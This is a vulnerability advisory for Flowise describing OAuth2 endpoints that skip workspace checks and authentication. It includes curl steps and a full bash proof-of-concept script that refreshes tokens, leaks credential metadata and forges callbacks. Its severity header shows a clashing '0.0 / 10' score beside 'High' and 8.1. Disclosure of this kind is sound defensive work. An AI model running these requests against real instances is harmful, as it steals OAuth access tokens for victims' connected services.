GHSA-wch5-xp77-fxg4 CVE-2026-70474
Flowise: Cross-Workspace OAuth2 Credential Metadata Leak
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.48%
- Chance of exploitation in the next 30 days. Higher than 41.21% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-863 Incorrect Authorization
- Fix
3.1.3- Upgrade flowise to this version or later
Description
Summary
Three OAuth2 credential endpoints look up credentials by id alone with no workspaceId filter. Two of these endpoints (callback, refresh) are whitelisted from all authentication. This allows:
- Cross-workspace credential access — Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces.
- Unauthenticated token injection — An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential.
- Unauthenticated token refresh — An unauthenticated attacker can refresh tokens for any credential.
Root Cause
Vulnerable code: no workspace scoping
All three OAuth2 handlers query the Credential table by id only:
packages/server/src/routes/oauth2/index.ts:80-82 (authorize)
const credential = await credentialRepository.findOneBy({
id: credentialId
// Missing: workspaceId filter
})
packages/server/src/routes/oauth2/index.ts:183-185 (callback)
const credential = await credentialRepository.findOneBy({
id: state as string
// Missing: workspaceId filter
})
packages/server/src/routes/oauth2/index.ts:314-316 (refresh)
const credential = await credentialRepository.findOneBy({
id: credentialId
// Missing: workspaceId filter
})
Correct pattern (same codebase)
The standard credential service correctly enforces workspace isolation:
packages/server/src/services/credentials/index.ts:130-132
const credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({
id: credentialId,
workspaceId: workspaceId // <-- Workspace scoping present
})
Authentication bypass via whitelist
packages/server/src/utils/constants.ts:40-41
export const WHITELIST_URLS = [
// ...
'/api/v1/oauth2-credential/callback', // line 40
'/api/v1/oauth2-credential/refresh', // line 41
// ...
]
packages/server/src/index.ts:223-225 — prefix-matched whitelist skips all auth:
const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
if (isWhitelisted) {
next() // No JWT verification, no API key check
}
Attack Scenarios
Scenario A: Cross-Workspace Credential Metadata Leak
An authenticated user in Workspace A initiates an OAuth2 authorize flow for a credential belonging to Workspace B. The server returns an authorization URL containing the victim credential's client_id, scope, and redirect_uri.
POST /api/v1/oauth2-credential/authorize/<VICTIM_CREDENTIAL_UUID>
Cookie: connect.sid=<ATTACKER_SESSION>
Response:
{
"success": true,
"credentialId": "<VICTIM_CREDENTIAL_UUID>",
"authorizationUrl": "https://provider.com/oauth2/authorize?client_id=LEAKED_CLIENT_ID&scope=LEAKED_SCOPE&...",
"redirectUri": "https://flowise-instance/api/v1/oauth2-credential/callback"
}
Scenario B: Unauthenticated Token Injection via Forged Callback
The callback endpoint requires no authentication and uses the state parameter as the credential lookup key. An attacker who controls an OAuth2 provider (or MitMs the flow) can inject arbitrary tokens into any credential.
GET /api/v1/oauth2-credential/callback?code=ATTACKER_AUTH_CODE&state=<VICTIM_CREDENTIAL_UUID>
(No authentication required)
The server exchanges the code at the credential's accessTokenUrl, and whatever tokens the provider returns are encrypted and stored into the victim's credential record (line 271):
await credentialRepository.update(credential.id, {
encryptedData, // Contains attacker-controlled token data
updatedDate: new Date()
})
Scenario C: Unauthenticated Token Refresh
An attacker can refresh any credential's OAuth2 tokens without authentication. The server reads the stored refresh_token, exchanges it at the accessTokenUrl, and returns fresh token metadata.
POST /api/v1/oauth2-credential/refresh/<VICTIM_CREDENTIAL_UUID>
(No authentication required)
Response:
{
"success": true,
"credentialId": "<VICTIM_CREDENTIAL_UUID>",
"tokenInfo": {
"access_token": "new-access-token-value",
"token_type": "Bearer",
"expires_in": 3600,
"has_new_refresh_token": false,
"expires_at": "2026-04-13T12:00:00.000Z"
}
}
The fresh access_token is returned directly in the response body (line 393-401), giving the attacker a valid OAuth2 token for whatever service the victim credential is connected to.
Proof of Concept
Prerequisites
- A running Flowise instance with at least two workspaces (Workspace A and Workspace B)
- An OAuth2 credential configured in Workspace B (the victim)
- The credential UUID of the victim credential (obtainable by any member of Workspace B, or via IDOR — see Finding 4)
Step 1 — Confirm unauthenticated refresh endpoint is reachable
# No cookies, no Bearer token — completely unauthenticated
FLOWISE_URL="https://TARGET_INSTANCE"
VICTIM_CRED_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}" \
-H "Content-Type: application/json"
Expected result if credential exists and has a refresh token:
{
"success": true,
"message": "OAuth2 token refreshed successfully",
"credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"tokenInfo": {
"access_token": "<VALID_ACCESS_TOKEN>",
"token_type": "Bearer",
"expires_in": 3600,
"has_new_refresh_token": false,
"expires_at": "2026-04-13T..."
}
}
Expected result if credential not found:
{
"success": false,
"message": "Credential not found"
}
Step 2 — Cross-workspace authorize (requires any valid session)
# Attacker is authenticated in Workspace A
# They target a credential UUID from Workspace B
ATTACKER_COOKIE="connect.sid=s%3A..."
curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}" \
-H "Cookie: ${ATTACKER_COOKIE}" \
-H "Content-Type: application/json"
Expected result — victim credential's OAuth2 config is leaked:
{
"success": true,
"credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"authorizationUrl": "https://login.microsoftonline.com/.../authorize?client_id=VICTIM_CLIENT_ID&scope=VICTIM_SCOPES&...",
"redirectUri": "https://TARGET_INSTANCE/api/v1/oauth2-credential/callback"
}
Step 3 — Forge callback to inject attacker-controlled tokens
# Attacker sets up a rogue OAuth2 provider that returns crafted tokens,
# OR intercepts a legitimate flow.
# The state parameter is the victim credential UUID.
curl -s "${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=ATTACKER_CODE&state=${VICTIM_CRED_ID}"
The server POSTs the code to the credential's accessTokenUrl. If the attacker controls the OAuth2 provider (or has a valid code), the returned tokens are written into the victim's credential.
Full automated PoC script
#!/usr/bin/env bash
set -euo pipefail
# ---- Configuration ----
FLOWISE_URL="${1:?Usage: $0 <flowise_url> <victim_credential_uuid> [attacker_cookie]}"
VICTIM_CRED_ID="${2:?Usage: $0 <flowise_url> <victim_credential_uuid> [attacker_cookie]}"
ATTACKER_COOKIE="${3:-}"
echo "=== OAuth2 Cross-Workspace Credential Hijacking PoC ==="
echo "Target: ${FLOWISE_URL}"
echo "Credential: ${VICTIM_CRED_ID}"
echo ""
# --- Attack Vector 1: Unauthenticated token refresh ---
echo "[1] Attempting unauthenticated token refresh..."
REFRESH_RESP=$(curl -s -w "\n%{http_code}" -X POST \
"${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}" \
-H "Content-Type: application/json")
HTTP_CODE=$(echo "${REFRESH_RESP}" | tail -1)
BODY=$(echo "${REFRESH_RESP}" | head -n -1)
if [ "${HTTP_CODE}" = "200" ]; then
echo "[!] VULNERABLE — Unauthenticated token refresh succeeded"
echo " Response: ${BODY}" | head -c 500
echo ""
elif echo "${BODY}" | grep -q "Credential not found"; then
echo "[*] Credential not found (UUID may be invalid)"
elif echo "${BODY}" | grep -q "Missing required"; then
echo "[*] Credential exists but has no refresh_token (no prior OAuth2 flow)"
echo " This still confirms the endpoint is reachable without auth"
else
echo "[*] HTTP ${HTTP_CODE}: ${BODY}" | head -c 300
fi
echo ""
# --- Attack Vector 2: Cross-workspace authorize (needs session) ---
if [ -n "${ATTACKER_COOKIE}" ]; then
echo "[2] Attempting cross-workspace authorize..."
AUTH_RESP=$(curl -s -w "\n%{http_code}" -X POST \
"${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}" \
-H "Cookie: ${ATTACKER_COOKIE}" \
-H "Content-Type: application/json")
HTTP_CODE=$(echo "${AUTH_RESP}" | tail -1)
BODY=$(echo "${AUTH_RESP}" | head -n -1)
if [ "${HTTP_CODE}" = "200" ]; then
echo "[!] VULNERABLE — Cross-workspace credential access confirmed"
echo " Leaked authorization URL:"
echo "${BODY}" | python3 -m json.tool 2>/dev/null || echo " ${BODY}" | head -c 500
else
echo "[*] HTTP ${HTTP_CODE}: ${BODY}" | head -c 300
fi
else
echo "[2] Skipped cross-workspace authorize (no attacker cookie provided)"
fi
echo ""
# --- Attack Vector 3: Confirm callback is unauthenticated ---
echo "[3] Confirming callback endpoint is unauthenticated..."
CALLBACK_RESP=$(curl -s -w "\n%{http_code}" \
"${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=poc_test_code&state=${VICTIM_CRED_ID}")
HTTP_CODE=$(echo "${CALLBACK_RESP}" | tail -1)
# Any response other than 401/403 confirms the endpoint is reachable without auth.
# A 400 with "token_exchange_failed" means the endpoint processed the request
# (tried to exchange the code) — it just failed at the external provider.
if [ "${HTTP_CODE}" = "401" ] || [ "${HTTP_CODE}" = "403" ]; then
echo "[*] Callback endpoint returned ${HTTP_CODE} — auth is enforced (NOT vulnerable)"
else
echo "[!] VULNERABLE — Callback endpoint reachable without auth (HTTP ${HTTP_CODE})"
echo " The server attempted to process the OAuth2 callback."
echo " With a valid authorization code, tokens would be written to the credential."
fi
echo ""
echo "=== PoC Complete ==="
Impact
| Vector | Auth Required | Impact |
|---|---|---|
Credential metadata leak via /authorize |
Low (any session) | Exposes client_id, scope, redirect_uri from any workspace's credential |
Token injection via /callback |
None | Overwrite any credential's stored OAuth2 tokens with attacker-controlled values |
Token theft via /refresh |
None | Obtain a fresh access_token for any credential's connected service (Microsoft 365, Google, etc.) |
Chained impact: An attacker who obtains a single credential UUID (via IDOR, log exposure, or brute-force of UUIDs) can silently refresh and steal OAuth2 access tokens for external services like Microsoft Graph, Google Workspace, or any custom OAuth2 provider — without any authentication to the Flowise instance.
Affected Components
| File | Lines | Issue |
|---|---|---|
packages/server/src/routes/oauth2/index.ts |
80-82 | findOneBy({ id }) — no workspaceId |
packages/server/src/routes/oauth2/index.ts |
183-185 | findOneBy({ id: state }) — no workspaceId |
packages/server/src/routes/oauth2/index.ts |
314-316 | findOneBy({ id }) — no workspaceId |
packages/server/src/utils/constants.ts |
40 | /callback whitelisted from auth |
packages/server/src/utils/constants.ts |
41 | /refresh whitelisted from auth |
Remediation
- Add
workspaceIdto all credential lookups in the OAuth2 routes, matching the pattern already used inservices/credentials/index.ts:130-132:
// Before (vulnerable)
const credential = await credentialRepository.findOneBy({ id: credentialId })
// After (fixed)
const credential = await credentialRepository.findOneBy({
id: credentialId,
workspaceId: req.user?.activeWorkspaceId
})
-
Remove
/callbackand/refreshfromWHITELIST_URLSor implement a signed, time-limited state token that authenticates the callback without a session. -
Replace the
stateparameter with a cryptographically random nonce bound to the user's session (see also Finding 8). -
Do not return
access_tokenin the/refreshresponse body. The token should only be stored server-side in the encrypted credential data, never sent to the caller.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| flowise | < 3.1.3 |
3.1.3 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
flowise npm → 3.1.3
- npm
npm install flowise@3.1.3- yarn
yarn add flowise@3.1.3- pnpm
pnpm add flowise@3.1.3
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- Present
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 8.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Weakness
CWE-863: Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-w7x8-q2gp-5cgg Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass | Critical | Also affects flowise |
| GHSA-9gvv-qjj3-2p6g Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium | High | Also affects flowise |
| GHSA-qgvm-j2hm-6m38 Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service | Critical | Also affects flowise |
| GHSA-5xvg-pmgg-3mxr Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability | Critical | Also affects flowise |
| GHSA-gmmw-qg98-6j6p Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation | High | Also affects flowise |
| GHSA-8gj2-2cvc-6xx7 Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials | Medium | Also affects flowise |
| GHSA-fm2f-4339-4p2f Flowise: Missing Authorization on Execution Update Endpoint | Medium | Also affects flowise |
| GHSA-rwrp-9823-p2xq Flowise: Incomplete Credential Redaction Exposes Secrets via API | High | Also affects flowise |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor